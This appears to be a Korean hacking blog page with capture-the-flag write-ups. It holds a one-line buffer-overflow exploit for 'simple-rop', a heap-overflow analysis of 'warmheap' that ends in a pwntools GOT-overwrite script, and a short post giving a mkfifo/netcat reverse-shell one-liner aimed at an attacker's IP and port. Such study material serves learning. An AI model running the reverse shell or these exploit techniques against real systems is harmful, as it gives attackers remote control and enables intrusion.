아주 간단한 문제 bof문제였다.


exploit

(python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x1a\x85\x04\x08"';cat) | ./simple-rop


'CTF' 카테고리의 다른 글

CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22

warmheap

해당 바이너리는 64비트며 보호기법은 nx만 설정되어 있다.


바이너리를 실행하면

두번의 입력을 받고 종료된다.


심볼이 없어서 gdb로 함수를 열어볼 수 없다.


따라서 ida로 봐야했다.


main()함수의 헥스레이다.


v3에 16바이트 크기를 malloc으로 동적할당을 해준다.

그리고 *v3에 1을 넣는다.

그 다음 *(QWORD(v3) + 1)에 또다시 8바이트를 동적할당한다. v3가 가리키는 곳에서 한칸(8바이트) 추가된 위치에 할당을 해주는 것이다.

그리고 v4에 16바이트를 할당한 후 위와 비슷하게 *v4에 2를 넣는다.  그 다음 *(QWORT(v4) + 1)위치에 8바이트를 동적할당한다.

그리고 s라는 변수에 4096바이트를 fgets()를 통해 입력받고 strcpy()로 (v3+1)에 복사한다.

다음에도 마찬가지로 s에 4096바이트를 입력받고 strcpy()로 *(v4+1)에 그 값을 넣는다.

그리고 exit()함수로 바이너리를 종료한다.


우선 메인만 봤을 때는 main에서 다른함수로 jump하는 것은 없어서 이게 전부의 기능인듯싶으나 ida로 살펴보면 여러 함수가 많이 있다.

그 중 문제풀이와 관련될 것 같이 생긴 함수가 있어서 분석했다.

sub_400826()함수인데 보면 flag라는 파일을 읽어서 출력해주는 역할을 한다.

메인에서 이 함수로 넘어올 수 있는 방법은 eip를 조작하는 방법 말고는 없어보인다.


처음엔 어떻게 해야할지 막막해서 이전에 풀었던 문제들 중 힙에 대해 찾아보다가 알고보니 protostar excercise heap2와 너무 유사한 문제였다.


바이너리를 차근차근 짚어보면 쉽다.

우선 메인함수의 주소는 0x4008a8다.

x/52i를 하면 main의 어셈코드를 전부 출력할 수 있다.

여기서 bp를 적절히 주었다.

첫번째 fgets에 bp를 걸고 A 8바이트를 줬다.



일단 $rbp-0x1020 = v3 의 스택 상태를 확인해보자.

보면 $rbp-0x1020 에는 malloc(16)한 주소가 *v3에 있다. 그리고 $rbp-0x1018에는 *v4에 동적할당한 주소가 있다.

그리고 이제 strcpy(*((char **)v3 + 1), &s); 를 실행시킨 후 스택과 힙을 봐야한다.


*(v3 + 1)에 stdin이 복사되므로 *v4는 0x602010이므로 *(v3+1)은 8바이트가 더해진 0x602018이다. 즉 0x602018에 있는 주소에 stdin을 복사한다.

예상했던대로 0x602030에 아까 입력한 A 8바이트가 복사되었다.


그리고 그 다음 fgets에서 B를 8바이트 입력해봤다.

stdin에 B가 8바이트가 들어간 것을 확인할 수 있다.


이제 strcpy(*((char **)v4 + 1), &s); 를 확인해보자.

먼저 v4+1의 위치를 보면 

0x602070이다.

0x00602010에서부터 메모리를 확인해보면 

아까 확인했듯이 *v4는 0x602050이다.

즉 *(v4 + 1)은 0x602058인데 그 위치에 0x602070이 있다. 이 주소에 stdin을 넣는데.. 0x602030부터 overflow로 0x602058까지 덮어서 원하는 주소를 입력하면 eip를 조작할 수 있다.


eip를 조작해서 sub_400826()함수로 jump하면 된다.


다행히 이 바이너리의 마지막은 exit()로 끝나기 때문에 exit@got에 sub_400826()함수의 주소인 0x400826를 덮어버리면 바이너리 마지막 단계에서 sub_400826()함수를 실행하면서 flag를 읽어낼 수 있다.

0x602030부터 0x602054까지 40바이트가 차이가 나니 첫번째 fgets에서 dummy40바이트에 나머지 8바이트를 exit@got의 주소를 넣고 두번째 fgets에서 0x400826를 넣으면 익스가 된다.


exploit code

from pwn import *

exit_got = 0x601068
exploit_addr = 0x400826

r = process("./warmheap")

payload = "A"*40
payload += p64(exit_got)
r.sendline(payload)

r.sendline(p64(exploit_addr))
print r.recv()


'CTF' 카테고리의 다른 글

RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20

nc -e 옵션대신 리버스쉘을 할 수 있는 방법


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ADDRESS] [PORT] >/tmp/f



Ref.http://kaka09.tistory.com/32?category=626537

'HACKING > System hacking' 카테고리의 다른 글

The House of Force  (0) 2018.08.23
파일 디스크립터  (0) 2018.08.04
python의 pickle 모듈 취약점  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
nc -e 옵션 사용이 안될때  (0) 2018.07.19

+ Recent posts